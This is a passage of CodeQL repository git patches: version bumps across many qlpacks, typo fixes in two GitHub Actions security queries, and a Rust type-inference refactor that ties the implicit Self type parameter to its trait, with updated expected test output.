codeql/javascript-queries -version: 1.5.2 +version: 1.5.3-dev groups: - javascript - queries diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index 303abd1b23f..28a36682869 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.20 +version: 1.0.21-dev groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index 709aed32422..020415470fe 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.4 +version: 4.0.5-dev groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index 321638c2577..2d3896cc57f 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.4.6 +version: 1.4.7-dev groups: - python - queries diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index 92f9db23dfd..639f6fb35f1 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.3 +version: 4.1.4-dev groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index b38e7eb7fda..ca0617aa13e 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.1.15 +version: 1.1.16-dev groups: - ruby - queries diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index 8ca8fd5100c..603ede342c7 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.5 +version: 0.1.6-dev groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index 4158c204364..4b0296c0af8 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.5 +version: 0.1.6-dev groups: - rust - queries diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index 8b0b8d6e05a..5b1c8278c8a 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.4 +version: 2.0.5-dev groups: shared library: true dependencies: diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index cb4f087f143..86a58593efd 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.4 +version: 2.0.5-dev groups: shared library: true dependencies: diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index d5b498e369e..0c7d0f8fb14 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.20 +version: 1.0.21-dev groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index 544e541bc32..258e34f4416 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.20 +version: 1.0.21-dev groups: shared library: true dependencies: diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index a9950725bb8..fb48dd895fe 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.20 +version: 1.0.21-dev groups: shared library: true dependencies: diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index 0945748a4cd..c5e5a147085 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 1.0.20 +version: 1.0.21-dev groups: shared library: true dependencies: diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index 6458fce2229..2698ba75fe4 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.20 +version: 1.0.21-dev library: true groups: shared dataExtensions: diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index 3cbfb9b8150..239783afe11 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.20 +version: 1.0.21-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index 974e866403f..243dbbefacc 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.20 +version: 1.0.21-dev groups: shared library: true dependencies: diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index d71f3639515..4606888741a 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.1 +version: 0.0.2-dev groups: shared library: true dependencies: diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index dcee785031a..387f2df0850 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.4 +version: 2.0.5-dev groups: shared library: true dependencies: diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index 66603d0cfd4..b84e528b13a 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.20 +version: 1.0.21-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index ca15e29077c..cec325c5327 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.7 +version: 2.0.8-dev groups: shared library: true dependencies: null diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index 0f0a5c9e585..ddd183347db 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.20 +version: 1.0.21-dev groups: shared library: true dependencies: diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index 5239b96b722..bfb8003b745 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.20 +version: 1.0.21-dev groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index 64b6a20fccc..a8937945393 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 4.1.3 +version: 4.1.4-dev groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 7c8c0606694..65d542ab524 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.0 +version: 1.1.1-dev groups: - swift - queries From 3cdd641b8191590c1416fb325f718243ced6e1f5 Mon Sep 17 00:00:00 2001 From: yoff Date: Tue, 1 Apr 2025 13:43:00 +0200 Subject: [PATCH 196/282] actions: fix typo --- .../ql/src/Security/CWE-275/MissingActionsPermissions.ql | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql b/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql index 760ef8c1897..bc3b4869a8d 100644 --- a/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql +++ b/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql @@ -26,14 +26,14 @@ string versionedAction(string fullActionSelector) { string stepUses(Step step) { result = step.getUses().(ScalarValue).getValue() } -string jobNeedsPersmission(Job job) { +string jobNeedsPermission(Job job) { actionsPermissionsDataModel(versionedAction(stepUses(stepInJob(job))), result) } /** Gets a suggestion for the minimal token permissions for `job`, as a JSON string. */ string permissionsForJob(Job job) { result = - "{" + concat(string permission | permission = jobNeedsPersmission(job) | permission, ", ") + "}" + "{" + concat(string permission | permission = jobNeedsPermission(job) | permission, ", ") + "}" } from Job job, string permissions @@ -47,4 +47,5 @@ where ) and permissions = permissionsForJob(job) select job, - "Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: " + permissions + "Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: " + + permissions From d33ce423d8874a3f28a663b0fcad8dd3c9af02d1 Mon Sep 17 00:00:00 2001 From: Marco Gario Date: Tue, 1 Apr 2025 13:58:37 +0200 Subject: [PATCH 197/282] Update UntrustedCheckoutCritical.ql --- actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql b/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql index 9676e942f7c..ad79a1ce776 100644 --- a/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql +++ b/actions/ql/src/Security/CWE-829/UntrustedCheckoutCritical.ql @@ -1,5 +1,5 @@ /** - * @name Checkout of untrusted code in a priviledged context + * @name Checkout of untrusted code in a privileged context * @description Privileged workflows have read/write access to the base repository and access to secrets. * By explicitly checking out and running the build script from a fork the untrusted code is running in an environment * that is able to push to the base repository and to access secrets. From 8acf9ceef4614a86a2efdc364f3e9952a7d7dbea Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Fri, 28 Mar 2025 15:48:07 +0100 Subject: [PATCH 198/282] Rust: Make trait a base type mention of the self type parameter --- rust/ql/lib/codeql/rust/internal/Type.qll | 35 ++- .../codeql/rust/internal/TypeInference.qll | 101 ++++---- .../lib/codeql/rust/internal/TypeMention.qll | 46 ++-- .../type-inference/type-inference.expected | 240 +++--------------- 4 files changed, 126 insertions(+), 296 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll index 8bf9f4a1c11..86abcb638f8 100644 --- a/rust/ql/lib/codeql/rust/internal/Type.qll +++ b/rust/ql/lib/codeql/rust/internal/Type.qll @@ -16,7 +16,7 @@ newtype TType = TRefType() or // todo: add mut? TTypeParamTypeParameter(TypeParam t) or TRefTypeParameter() or - TSelfTypeParameter() + TSelfTypeParameter(Trait t) /** * A type without type arguments. @@ -144,9 +144,6 @@ class TraitType extends Type, TTrait { override TypeParameter getTypeParameter(int i) { result = TTypeParamTypeParameter(trait.getGenericParamList().getTypeParam(i)) - or - result = TSelfTypeParameter() and - i = -1 } pragma[nomagic] @@ -226,11 +223,9 @@ class ImplType extends Type, TImpl { override TypeParameter getTypeParameter(int i) { result = TTypeParamTypeParameter(impl.getGenericParamList().getTypeParam(i)) - or - result = TSelfTypeParameter() and - i = -1 } + /** Get the trait implemented by this `impl` block, if any. */ override TypeMention getABaseTypeMention() { result = impl.getTrait() } override string toString() { result = impl.toString() } @@ -334,11 +329,29 @@ class RefTypeParameter extends TypeParameter, TRefTypeParameter { override Location getLocation() { result instanceof EmptyLocation } } -/** An implicit `Self` type parameter. */ +/** + * The implicit `Self` type parameter of a trait, that refers to the + * implementing type of the trait. + * + * The Rust Reference on the implicit `Self` parameter: + * https://doc.rust-lang.org/reference/items/traits.html#r-items.traits.self-param + */ class SelfTypeParameter extends TypeParameter, TSelfTypeParameter { - override Function getMethod(string name) { none() } + private Trait trait; - override string toString() { result = "(Self)" } + SelfTypeParameter() { this = TSelfTypeParameter(trait) } - override Location getLocation() { result instanceof EmptyLocation } + Trait getTrait() { result = trait } + + override TypeMention getABaseTypeMention() { result = trait } + + override Function getMethod(string name) { + // The `Self` type parameter is an implementation of the trait, so it has + // all the trait's methods. + result = trait.(ItemNode).getASuccessor(name) + } + + override string toString() { result = "Self [" + trait.toString() + "]" } + + override Location getLocation() { result = trait.getLocation() } } diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 5c59cee8a17..bef741d2470 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -38,21 +38,42 @@ private module Input1 implements InputSig1 { } } - class TypeParameterPosition = TypeParam; + private newtype TTypeParameterPosition = + TTypeParamTypeParameterPosition(TypeParam tp) or + TSelfTypeParameterPosition() + + class TypeParameterPosition extends TTypeParameterPosition { + TypeParam asTypeParam() { this = TTypeParamTypeParameterPosition(result) } + + predicate isSelf() { this = TSelfTypeParameterPosition() } + + string toString() { + result = this.asTypeParam().toString() + or + result = "Self" and this.isSelf() + } + } + + /** Holds if `typeParam`, `param` and `ppos` all concern the same `TypeParam`. */ + additional predicate typeParamMatchPosition( + TypeParam typeParam, TypeParamTypeParameter param, TypeParameterPosition ppos + ) { + typeParam = param.getTypeParam() and typeParam = ppos.asTypeParam() + } bindingset[apos] bindingset[ppos] predicate typeArgumentParameterPositionMatch(TypeArgumentPosition apos, TypeParameterPosition ppos) { - apos.asTypeParam() = ppos + apos.asTypeParam() = ppos.asTypeParam() or - apos.asMethodTypeArgumentPosition() = ppos.getPosition() + apos.asMethodTypeArgumentPosition() = ppos.asTypeParam().getPosition() } - private predicate id(Raw::TypeParam x, Raw::TypeParam y) { x = y } + private predicate id(Raw::AstNode x, Raw::AstNode y) { x = y } - private predicate idOfRaw(Raw::TypeParam x, int y) = equivalenceRelation(id/2)(x, y) + private predicate idOfRaw(Raw::AstNode x, int y) = equivalenceRelation(id/2)(x, y) - private int idOf(TypeParam node) { idOfRaw(Synth::convertAstNodeToRaw(node), result) } + private int idOf(AstNode node) { idOfRaw(Synth::convertAstNodeToRaw(node), result) } int getTypeParameterId(TypeParameter tp) { tp = @@ -61,12 +82,11 @@ private module Input1 implements InputSig1 { kind = 0 and id = 0 or - tp0 instanceof SelfTypeParameter and - kind = 0 and - id = 1 - or - id = idOf(tp0.(TypeParamTypeParameter).getTypeParam()) and - kind = 1 + kind = 1 and + exists(AstNode node | id = idOf(node) | + node = tp0.(TypeParamTypeParameter).getTypeParam() or + node = tp0.(SelfTypeParameter).getTrait() + ) | tp0 order by kind, id ) @@ -211,15 +231,6 @@ private Type inferImplSelfType(Impl i, TypePath path) { result = i.getSelfTy().(TypeReprMention).resolveTypeAt(path) } -pragma[nomagic] -private Type inferTraitSelfType(Trait t, TypePath path) { - result = TTrait(t) and - path.isEmpty() - or - result = TTypeParamTypeParameter(t.getGenericParamList().getATypeParam()) and - path = TypePath::singleton(result) -} - /** Gets the type at `path` of the implicitly typed `self` parameter. */ pragma[nomagic] private Type inferImplicitSelfType(SelfParam self, TypePath path) { @@ -230,7 +241,7 @@ private Type inferImplicitSelfType(SelfParam self, TypePath path) { | t = inferImplSelfType(i, suffix) or - t = inferTraitSelfType(i, suffix) + t = TSelfTypeParameter(i) and suffix.isEmpty() ) } @@ -273,8 +284,7 @@ private module StructExprMatchingInput implements MatchingInputSig { abstract TypeParam getATypeParam(); final TypeParameter getTypeParameter(TypeParameterPosition ppos) { - result.(TypeParamTypeParameter).getTypeParam() = ppos and - ppos = this.getATypeParam() + typeParamMatchPosition(this.getATypeParam(), result, ppos) } abstract StructField getField(string name); @@ -417,12 +427,7 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { } abstract class Declaration extends AstNode { - abstract TypeParam getATypeParam(); - - final TypeParameter getTypeParameter(TypeParameterPosition ppos) { - result.(TypeParamTypeParameter).getTypeParam() = ppos and - ppos = this.getATypeParam() - } + abstract TypeParameter getTypeParameter(TypeParameterPosition ppos); pragma[nomagic] abstract Type getParameterType(DeclarationPosition dpos, TypePath path); @@ -440,7 +445,9 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { private class TupleStructDecl extends Declaration, Struct { TupleStructDecl() { this.isTuple() } - override TypeParam getATypeParam() { result = this.getGenericParamList().getATypeParam() } + override TypeParameter getTypeParameter(TypeParameterPosition ppos) { + typeParamMatchPosition(this.getGenericParamList().getATypeParam(), result, ppos) + } override Type getParameterType(DeclarationPosition dpos, TypePath path) { exists(int pos | @@ -461,8 +468,8 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { private class TupleVariantDecl extends Declaration, Variant { TupleVariantDecl() { this.isTuple() } - override TypeParam getATypeParam() { - result = this.getEnum().getGenericParamList().getATypeParam() + override TypeParameter getTypeParameter(TypeParameterPosition ppos) { + typeParamMatchPosition(this.getEnum().getGenericParamList().getATypeParam(), result, ppos) } override Type getParameterType(DeclarationPosition dpos, TypePath path) { @@ -483,38 +490,36 @@ private module CallExprBaseMatchingInput implements MatchingInputSig { } } - pragma[nomagic] - private Type inferAnnotatedTypeInclSelf(AstNode n, TypePath path) { - result = getTypeAnnotation(n).resolveTypeAtInclSelf(path) - } - private class FunctionDecl extends Declaration, Function { - override TypeParam getATypeParam() { result = this.getGenericParamList().getATypeParam() } + override TypeParameter getTypeParameter(TypeParameterPosition ppos) { + typeParamMatchPosition(this.getGenericParamList().getATypeParam(), result, ppos) + or + exists(TraitItemNode trait | this = trait.getAnAssocItem() | + typeParamMatchPosition(trait.getTypeParam(_), result, ppos) + or + ppos.isSelf() and result = TSelfTypeParameter(trait) + ) + } override Type getParameterType(DeclarationPosition dpos, TypePath path) { exists(Param p, int i, boolean inMethod | paramPos(this.getParamList(), p, i, inMethod) and dpos = TPositionalDeclarationPosition(i, inMethod) and - result = inferAnnotatedTypeInclSelf(p.getPat(), path) + result = inferAnnotatedType(p.getPat(), path) ) or exists(SelfParam self | self = pragma[only_bind_into](this.getParamList().getSelfParam()) and dpos.isSelf() | - // `self` parameter with type annotation - result = inferAnnotatedTypeInclSelf(self, path) + result = inferAnnotatedType(self, path) // `self` parameter with type annotation or - // `self` parameter without type annotation - result = inferImplicitSelfType(self, path) - or - // `self` parameter without type annotation should also have the special `Self` type - result = getRefAdjustImplicitSelfType(self, TypePath::nil(), TSelfTypeParameter(), path) + result = inferImplicitSelfType(self, path) // `self` parameter without type annotation ) } override Type getReturnType(TypePath path) { - result = this.getRetType().getTypeRepr().(TypeReprMention).resolveTypeAtInclSelf(path) + result = this.getRetType().getTypeRepr().(TypeReprMention).resolveTypeAt(path) } } diff --git a/rust/ql/lib/codeql/rust/internal/TypeMention.qll b/rust/ql/lib/codeql/rust/internal/TypeMention.qll index f8fa7923f21..a5e696313a3 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeMention.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeMention.qll @@ -29,27 +29,6 @@ abstract class TypeMention extends AstNode { /** Gets the type that the sub mention at `path` resolves to, if any. */ Type resolveTypeAt(TypePath path) { result = this.getMentionAt(path).resolveType() } - - /** - * Like `resolveTypeAt`, but also resolves `Self` mentions to the implicit - * `Self` type parameter. - * - * This is only needed when resolving types for calls to methods; inside the - * methods themselves, `Self` only resolves to the relevant trait or type - * being implemented. - */ - final Type resolveTypeAtInclSelf(TypePath path) { - result = this.resolveTypeAt(path) - or - exists(TypeMention tm, ImplOrTraitItemNode node | - tm = this.getMentionAt(path) and - result = TSelfTypeParameter() - | - tm = node.getASelfPath() - or - tm.(PathTypeRepr).getPath() = node.getASelfPath() - ) - } } class TypeReprMention extends TypeMention, TypeRepr { @@ -80,11 +59,11 @@ class PathMention extends TypeMention, Path { override TypeMention getTypeArgument(int i) { result = this.getSegment().getGenericArgList().getTypeArg(i) or - // `Self` paths inside traits and `impl` blocks have implicit type arguments - // that are the type parameters of the trait or impl. For example, in + // `Self` paths inside `impl` blocks have implicit type arguments that are + // the type parameters of the `impl` block. For example, in // // ```rust - // impl Foo { + // impl Foo { // fn m(self) -> Self { // self // } @@ -92,10 +71,9 @@ class PathMention extends TypeMention, Path { // ``` // // the `Self` return type is shorthand for `Foo`. - exists(ImplOrTraitItemNode node | this = node.getASelfPath() | + exists(ImplItemNode node | + this = node.getASelfPath() and result = node.(ImplItemNode).getSelfPath().getSegment().getGenericArgList().getTypeArg(i) - or - result = node.(Trait).getGenericParamList().getTypeParam(i) ) } @@ -105,7 +83,13 @@ class PathMention extends TypeMention, Path { or result = TEnum(i) or - result = TTrait(i) + exists(TraitItemNode trait | trait = i | + // If this is a `Self` path, then it resolves to the implicit `Self` + // type parameter, otherwise it is a trait bound. + if this = trait.getASelfPath() + then result = TSelfTypeParameter(trait) + else result = TTrait(trait) + ) or result = TTypeParamTypeParameter(i) or @@ -171,3 +155,9 @@ class ImplMention extends TypeMention, ImplItemNode { ) } } + +class TraitMention extends TypeMention, TraitItemNode { + override TypeMention getTypeArgument(int i) { result = this.getTypeParam(i) } + + override Type resolveType() { result = TTrait(this) } +} diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 6d92dd08f12..e7788f014ca 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1,42 +1,7 @@ inferType -| loop/main.rs:7:12:7:15 | SelfParam | | loop/main.rs:6:1:8:1 | trait T1 | -| loop/main.rs:7:12:7:15 | SelfParam | T | loop/main.rs:6:10:6:10 | T | -| loop/main.rs:11:12:11:15 | SelfParam | | loop/main.rs:6:1:8:1 | trait T1 | -| loop/main.rs:11:12:11:15 | SelfParam | | loop/main.rs:10:1:14:1 | trait T2 | -| loop/main.rs:11:12:11:15 | SelfParam | T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:11:12:11:15 | SelfParam | T | loop/main.rs:10:10:10:10 | T | -| loop/main.rs:11:12:11:15 | SelfParam | T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:11:12:11:15 | SelfParam | T.T | loop/main.rs:10:10:10:10 | T | -| loop/main.rs:11:12:11:15 | SelfParam | T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T | loop/main.rs:10:10:10:10 | T | -| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T | loop/main.rs:10:10:10:10 | T | -| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T.T.T | loop/main.rs:10:10:10:10 | T | -| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:11:12:11:15 | SelfParam | T.T.T.T.T.T.T.T.T.T | loop/main.rs:10:10:10:10 | T | -| loop/main.rs:12:9:12:12 | self | | loop/main.rs:6:1:8:1 | trait T1 | -| loop/main.rs:12:9:12:12 | self | | loop/main.rs:10:1:14:1 | trait T2 | -| loop/main.rs:12:9:12:12 | self | T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:12:9:12:12 | self | T | loop/main.rs:10:10:10:10 | T | -| loop/main.rs:12:9:12:12 | self | T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:12:9:12:12 | self | T.T | loop/main.rs:10:10:10:10 | T | -| loop/main.rs:12:9:12:12 | self | T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:12:9:12:12 | self | T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:12:9:12:12 | self | T.T.T.T | loop/main.rs:10:10:10:10 | T | -| loop/main.rs:12:9:12:12 | self | T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T | loop/main.rs:10:10:10:10 | T | -| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T.T.T | loop/main.rs:10:10:10:10 | T | -| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T.T.T.T.T | loop/main.rs:4:1:4:15 | struct S | -| loop/main.rs:12:9:12:12 | self | T.T.T.T.T.T.T.T.T.T | loop/main.rs:10:10:10:10 | T | +| loop/main.rs:7:12:7:15 | SelfParam | | loop/main.rs:6:1:8:1 | Self [trait T1] | +| loop/main.rs:11:12:11:15 | SelfParam | | loop/main.rs:10:1:14:1 | Self [trait T2] | +| loop/main.rs:12:9:12:12 | self | | loop/main.rs:10:1:14:1 | Self [trait T2] | | main.rs:26:13:26:13 | x | | main.rs:5:5:8:5 | struct MyThing | | main.rs:26:17:26:32 | MyThing {...} | | main.rs:5:5:8:5 | struct MyThing | | main.rs:26:30:26:30 | S | | main.rs:2:5:3:13 | struct S | @@ -171,21 +136,13 @@ inferType | main.rs:137:26:137:26 | y | | main.rs:94:5:97:5 | struct MyThing | | main.rs:137:26:137:26 | y | A | main.rs:101:5:102:14 | struct S2 | | main.rs:137:26:137:31 | y.m2(...) | | main.rs:101:5:102:14 | struct S2 | -| main.rs:153:15:153:18 | SelfParam | | main.rs:152:5:161:5 | trait MyTrait | -| main.rs:153:15:153:18 | SelfParam | A | main.rs:152:19:152:19 | A | -| main.rs:155:15:155:18 | SelfParam | | main.rs:152:5:161:5 | trait MyTrait | -| main.rs:155:15:155:18 | SelfParam | A | main.rs:152:19:152:19 | A | -| main.rs:158:9:160:9 | { ... } | | main.rs:152:5:161:5 | trait MyTrait | -| main.rs:158:9:160:9 | { ... } | A | main.rs:152:19:152:19 | A | -| main.rs:159:13:159:16 | self | | main.rs:152:5:161:5 | trait MyTrait | -| main.rs:159:13:159:16 | self | A | main.rs:152:19:152:19 | A | -| main.rs:163:43:163:43 | x | | main.rs:152:5:161:5 | trait MyTrait | +| main.rs:153:15:153:18 | SelfParam | | main.rs:152:5:161:5 | Self [trait MyTrait] | +| main.rs:155:15:155:18 | SelfParam | | main.rs:152:5:161:5 | Self [trait MyTrait] | +| main.rs:158:9:160:9 | { ... } | | main.rs:152:5:161:5 | Self [trait MyTrait] | +| main.rs:159:13:159:16 | self | | main.rs:152:5:161:5 | Self [trait MyTrait] | | main.rs:163:43:163:43 | x | | main.rs:163:26:163:40 | T2 | -| main.rs:163:43:163:43 | x | A | main.rs:163:22:163:23 | T1 | | main.rs:163:56:165:5 | { ... } | | main.rs:163:22:163:23 | T1 | -| main.rs:164:9:164:9 | x | | main.rs:152:5:161:5 | trait MyTrait | | main.rs:164:9:164:9 | x | | main.rs:163:26:163:40 | T2 | -| main.rs:164:9:164:9 | x | A | main.rs:163:22:163:23 | T1 | | main.rs:164:9:164:14 | x.m1(...) | | main.rs:163:22:163:23 | T1 | | main.rs:168:15:168:18 | SelfParam | | main.rs:142:5:145:5 | struct MyThing | | main.rs:168:15:168:18 | SelfParam | A | main.rs:147:5:148:14 | struct S1 | @@ -230,124 +187,65 @@ inferType | main.rs:189:40:189:40 | x | A | main.rs:147:5:148:14 | struct S1 | | main.rs:190:40:190:40 | y | | main.rs:142:5:145:5 | struct MyThing | | main.rs:190:40:190:40 | y | A | main.rs:149:5:150:14 | struct S2 | -| main.rs:206:19:206:22 | SelfParam | | main.rs:205:5:207:5 | trait FirstTrait | -| main.rs:206:19:206:22 | SelfParam | FT | main.rs:205:22:205:23 | FT | -| main.rs:210:19:210:22 | SelfParam | | main.rs:209:5:211:5 | trait SecondTrait | -| main.rs:210:19:210:22 | SelfParam | ST | main.rs:209:23:209:24 | ST | -| main.rs:213:64:213:64 | x | | main.rs:209:5:211:5 | trait SecondTrait | +| main.rs:206:19:206:22 | SelfParam | | main.rs:205:5:207:5 | Self [trait FirstTrait] | +| main.rs:210:19:210:22 | SelfParam | | main.rs:209:5:211:5 | Self [trait SecondTrait] | | main.rs:213:64:213:64 | x | | main.rs:213:45:213:61 | T | -| main.rs:213:64:213:64 | x | ST | main.rs:213:35:213:42 | I | | main.rs:215:13:215:14 | s1 | | main.rs:213:35:213:42 | I | -| main.rs:215:18:215:18 | x | | main.rs:209:5:211:5 | trait SecondTrait | | main.rs:215:18:215:18 | x | | main.rs:213:45:213:61 | T | -| 